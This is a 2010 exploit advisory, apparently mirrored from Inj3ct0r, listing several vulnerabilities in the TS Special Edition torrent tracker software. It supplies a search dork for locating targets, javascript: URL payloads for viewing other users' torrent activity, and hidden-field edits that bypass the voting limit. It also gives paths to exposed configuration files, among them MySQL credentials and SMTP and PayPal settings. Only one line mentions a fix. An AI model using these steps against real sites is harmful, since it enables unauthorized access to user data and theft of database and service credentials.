Home / os / win7

TS Special Edition <= v.7.0 Multiple Vulnerabilities

Posted on 18 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>TS Special Edition &lt;= v.7.0 Multiple Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================
TS Special Edition &lt;= v.7.0 Multiple Vulnerabilities
====================================================


##############################################################################################
#
# TS Special Edition &lt;= v.7.0 Multiple Vulnerabilities
# Dork: &quot;Powered by TS Special Edition&quot;
# Site: http://templateshares.net
# Download: http://templateshares.net/special/purchase
#
# Author: IHTeam
#
##############################################################################################
#
# See any seed/leech files of any users
#
# 1) Open any userdatail you want (Ex: /userdetails.php?id=1)
# 2) Paste in url bar this code for:
# 2.1) javascript:TSAjaxRequest('showuploaded'); &lt;---- See Uploaded Torrent
# 2.2) javascript:TSAjaxRequest('showcompleted'); &lt;---- See Completed
Torrent
# 2.3) javascript:TSAjaxRequest('showleechs'); &lt;---- See In Leech
Torrents
# 2.4) javascript:TSAjaxRequest('showseeds'); &lt;---- See In Seed Torrents
# 2.5) javascript:TSAjaxRequest('showsnatches'); &lt;---- See Recently
Downloaded
#
##############################################################################################
#
# Bypass Vote System
#
# 1) Open any torrent file datail (Ex: /details.php?id=1)
# 2) Edit HTML Source code with FireBug or Opera
# 3) Search 'form id=&quot;quickrate&quot;' and edit these information:
# 3.1) &lt;input type=&quot;hidden&quot; value=&quot;CHAGE_YOUR_ID_HERE&quot; name=&quot;userid&quot;&gt;
# 3.2) javascript:TSQuickRate('torrent_1', 'CHAGE_YOUR_ID_HERE');
# 4) Apply changes and vote the torrent every time you want
#
##############################################################################################
#
# MySQL Credential
#
# You can see MySQL Credential by opening /config/DATABASE
#
# Ex: www.mysite.com/config/DATABASE
#
a:4:{s:10:&quot;mysql_host&quot;;s:9:&quot;HOSTNAME_OF_MYSQL_DATABASE&quot;;s:10:&quot;mysql_user&quot;;s:11:&quot;USERNAME_OF_MYSQL&quot;
#
;s:10:&quot;mysql_pass&quot;;s:10:&quot;PASSWORD_OF_MYSQL&quot;;s:8:&quot;mysql_db&quot;;s:21:&quot;DATABASE_NAME&quot;;}
#
# It can be fixed adding .htaccess in /config/ directory
##############################################################################################
#
# Others configuration files
#
# 1) /config/WAITSLOT
# 2) /config/TWEAK
# 3) /config/THEME
# 4) /config/STAFFTEAM
# 5) /config/SMTP
# 6) /config/SEO
# 7) /config/SECURITY
# 8) /config/REDIRECT
# 9) /config/PJIRC
# 10) /config/PAYPAL
# 11) /config/MAIN
# 12) /config/KPS
# 13) /config/FORUMCP
# 14) /config/EXTRA
# 15) /config/DATETIME
# 16) /config/CLEANUP
# 17) /pjirc/pjirc.cfg
#
##############################################################################################


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-18]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :